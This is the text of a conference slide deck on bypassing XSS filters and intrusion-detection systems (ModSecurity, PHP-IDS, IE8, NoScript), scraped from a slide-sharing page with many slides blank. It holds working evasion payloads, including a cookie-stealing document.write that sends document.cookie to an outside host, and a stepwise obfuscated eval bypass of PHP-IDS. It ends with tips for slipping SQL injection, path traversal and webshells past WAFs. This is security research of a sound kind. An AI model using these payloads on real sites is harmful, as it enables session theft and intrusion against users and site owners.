Zeshan Sattar- Assessing the skill requirements and industry expectations for...Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to Hero
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 

Fav

  • 1. Our Favorite XSS Filters/IDS and how to Attack Them Most recent version of slides can be obtained from blackhat’s website or http://p42.us/favxss/
  • 3.
  • 4.
  • 5. The Basics milk before meat?
  • 6.
  • 7.
  • 8. Filter Basics Dangerous? yes no UNTRUSTED APPLICATION
  • 9.
  • 10.
  • 11. Evasion Techniques hope you liked the milk
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32. Unicode and XSS Only Mozilla’s 5 thousand lines of code implementation appears to be safe (maybe).
  • 33. Java’s Modified Unicode Unicode.... 1.0….. 2.0…… 3.0...3.1….. 4.0…… 5.0…. Modified Unicode
  • 34.
  • 35.
  • 36.
  • 37.
  • 38. Introducing The Filters PHP-IDS Mod_Security IE8 NoScript
  • 40.
  • 41.
  • 42.
  • 43.
  • 44. The filter will catch: <img src=&quot;x:gif&quot; onerror=&quot;alert(0)&quot;> but miss: <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;eval('al'%2b'lert(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;window['al0065rt'](0)&quot;></img> ModSecurity
  • 45. The filter will catch: &quot;;document.write('<img src=http://p42.us/x.png?' %2b document.cookie %2b '>');&quot; but miss: &quot;;document.write('<img sr'%2b'c=http://p42.us/x.png?' %2b document['cookie'] %2b '>');&quot; ModSecurity
  • 46.
  • 47.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53. PHP-IDS Developing a Bypass eval(name) Injection Found! Overall Impact: 17
  • 54. PHP-IDS Developing a Bypass x=eval y=name x(y) Injection Found! Overall Impact: 12
  • 55. PHP-IDS Developing a Bypass x='ev'+'al' x=this[x] y='na'+'me' x(x(y)) Injection Found! Overall Impact: 46
  • 56. PHP-IDS Developing a Bypass $$='e' x='ev'+'al' x=this[x] y='nam'+$$ y=x(y) x(y) Injection Found! Overall Impact: 37
  • 57. PHP-IDS Developing a Bypass $$='e' x=$$+'val' z=(1)['__par'+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 62
  • 58. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' z=(1)[__+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 27
  • 59. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 18
  • 60. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 14
  • 61. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) Injection Found! Overall Impact: 07
  • 62. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)ghi ' Injection Found! Overall Impact: 07
  • 63. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...' Nothing suspicious was found!
  • 64.
  • 65.
  • 66.
  • 67. XSS Filter http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx Examining the IE8 XSS Filter by kuza55 (OWASP Australia)
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74. We will show the remaining 7 of our.. Top 10 reflected XSS attacks and how you can attack with them. Bypassing the Filter
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 92.
  • 93. As any other filter, it's still possible to bypass NoScript's rules, the following attack bypassed NoScript's rules: <a z=“&”x=& onmousemove=t=Object(window.name); ({$:#0=t,z:eval(String(#0#).replace(/@/g,’’))}).z//>     This was fixed last week, have you updated noscript? : http://tinyurl.com/m4nfs9 Bypassing the Filter's Rules
  • 94. find a bypass 10 minutes before the talk! if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha <<david: umm... good luck with that Eduardo>> This hasn't been fixed! Found 10m ago
  • 95. The DoS and pwn on NoScript (for bypassing)   The following example: http://victim.com/xss.php?hello= a-very-long-and-complicated-js-string &html_xss=<script>alert (&quot;pwned&quot;);</script> Will DoS NoScript, and then firefox will kill it, and then your victim will be redirected to your &quot;pwned&quot; webpage. Hacking the Filter
  • 96. NoScript wont protect websites from attacking themselves, so frames pointing to a redirect that sends to the payload wont be detected by NoScript: Example : http://tinyurl.com/l5rnyc http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl= http://tinyurl.com/ZWZ8Z4   and http://tinyurl.com/ZWZ8Z4 redirects to https://www.google.com/adsense/g-app-single-1.do?websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInput.fullName= <script> Same Origin Exception
  • 97. Tribute to the stupid IDS Thanks to pretty much every other WAF vendor out there...
  • 98.
  • 99. Stop using alert('xss') . You should now use prompt('xss') . Rule Number 1
  • 100. Dont do <script> . Do <ScRIPT x src=//0x.lv? Rule Number 2
  • 101. For blind SQL injections. Stop using ' or 1=1-- . Use ' or 2=2-- . Rule Number 3
  • 102. For SQL injections. Stop using UNION SELECT . Use UNION ALL SELECT . Rule Number 4
  • 103. Don’t do /etc/passwd . Do /foo/../etc/bar/../passwd . Rule Number 5
  • 104. Don’t use http://yourhost.com/r57.txt Use https://yourhost.com/lol.txt Rule Number 6
  • 105. Don’t call your webshell c99.php, shell.aspx or cmd.jsp Call it rofl.php . Rule Number 7
  • 106.
  • 107.
  • 108.

Notes de l'éditeur

  1. Microsoft patched this issue, and after testing the patch, I think its pretty good.